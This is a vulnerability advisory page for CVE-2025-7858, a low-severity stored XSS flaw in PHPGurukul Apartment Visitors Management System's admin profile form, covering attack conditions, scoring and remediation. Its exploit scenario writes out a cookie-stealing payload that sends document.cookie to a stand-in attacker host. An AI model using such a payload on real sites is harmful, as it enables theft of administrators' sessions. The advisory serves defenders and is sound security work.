PHPGurukul Apartment Visitors Management System
CVE-2025-7858
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to admin panel
-
DeliveryCraft HTTP POST with JavaScript in adminname field
-
ExploitSend malicious profile update
-
InstallStored XSS in database
-
C2Second admin views attacker's profile
-
ExecuteInjected script executes in victim's browser
-
ImpactSteal admin session cookie or session data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The vulnerability requires three specific conditions: First, the attacker must possess valid credentials to access the admin panel (PR:L in CVSS vector), eliminating public exploitation but including compromised low-privilege accounts. Second, the attacker must specifically manipulate the adminname parameter via HTTP POST to /admin-profile.php; default profile viewing does not trigger injection unless the attacker's crafted profile is displayed. Third, another authenticated administrator must interact with the system by viewing the attacker's profile page, as the vulnerability is stored XSS rather than reflected (UI:P requirement). These conditions mean that isolated single-admin deployments or environments with strong session isolation have reduced risk; conversely, deployments with many administrators and high inter-admin trust are at higher risk. Non-authenticated users cannot exploit this vulnerability. |
| Impact | Despite the low CVSS score of 2.0, this vulnerability presents minimal real-world risk to most deployments. The CVSS:4.0 vector shows AV:N (network-accessible) but requires PR:L (authenticated access) and UI:P (user interaction), significantly constraining exploitation. EPSS score of 0.05% (16th percentile) indicates very low probability of widespread automated exploitation, aligning with the attack requirements. KEV status is not listed, suggesting no confirmed active exploitation by threat actors despite public POC availability. The practical attack scenario requires an authenticated attacker to craft a malicious profile update, then trick another authenticated admin into viewing the poisoned profile and executing the injected script. This is not a high-priority vulnerability for most organizations; however, in deployments where multiple administrators manage the same system and social trust is high, exploitation becomes more plausible. The damage is limited to the confidentiality impact (VI:L) of the other admin's session data-no system integrity or availability impact. |
| Exploit ScenarioDerived | An authenticated attacker (or compromised low-privilege admin account) modifies their own admin profile, injecting JavaScript into the adminname field such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When another administrator views the admin dashboard or user list displaying the attacker's profile, the injected script executes in their browser session, stealing their session cookies or redirecting them to a phishing page. The attack succeeds only if a second admin actually views the malicious profile after it is stored. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting in PHPGurukul Apartment Visitors Management System 1.0 allows authenticated users to inject malicious scripts via the adminname parameter in /admin-profile.php, affecting other administrators who view the modified profile. The vulnerability requires user interaction (UI:P) and authenticated access (PR:L), limiting its severity despite remote network accessibility. Publicly available exploit code exists, though real-world exploitation depends on social engineering authenticated users to click malicious links or administrative interaction.
RemediationAI
The primary remediation is to upgrade to a patched version when available from PHPGurukul; however, no specific patched version is documented in the provided references. As an interim measure, apply HTML entity encoding (htmlspecialchars or equivalent in PHP) to the adminname parameter on both storage and display in /admin-profile.php and any other profile-related endpoints. Additionally, implement Content Security Policy (CSP) headers to restrict inline script execution, reducing the impact of any stored XSS to data theft rather than full session compromise. For critical deployments unable to patch immediately, restrict admin panel access to specific IP addresses or enforce additional authentication factors (e.g., TOTP) for sensitive operations. Monitor admin profile modification logs for suspicious entries containing script-like content. Contact PHPGurukul through phpgurukul.com or their issue tracker to confirm patch availability and timeline.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the HTTP POST request handler for /admin-profile.php, a PHP component responsible for processing administrator profile updates. The adminname parameter fails to properly sanitize or escape user input before storage or display, allowing injection of arbitrary HTML and JavaScript. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability where unsanitized user-controlled input is reflected or stored in a web page context. The affected product is a visitor management system built on PHP, where administrative functions are exposed through web-based interfaces without adequate output encoding.
Know when Apartment Visitors Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability classified as problematic has been found in PHPGurukul Apartment Visitors Management System 1.0. This affects an unknown part of the file /admin-profile.php of the component HTTP POST Request Handler. The manipulation of the argument adminname leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Apartment Visitor Management System v1.0 is vulnerable to SQL Injection via /avms/index.php. Rated critical severity (CV
A vulnerability was found in SourceCodester Apartment Visitor Management System 1.0. Rated critical severity (CVSS 9.8),
SQL injection vulnerability in PHPGurukul Apartment Visitors Management System (AVMS) v. Rated critical severity (CVSS 9
A vulnerability classified as critical was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium se
A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Rated
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability classified as critical was found in projectworlds Apartment Visitors Management System 1.0. Rated medium
A vulnerability was found in SourceCodester Apartment Visitor Management System and classified as critical. Rated critic
A vulnerability has been found in SourceCodester Apartment Visitor Management System 1.0 and classified as problematic.
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB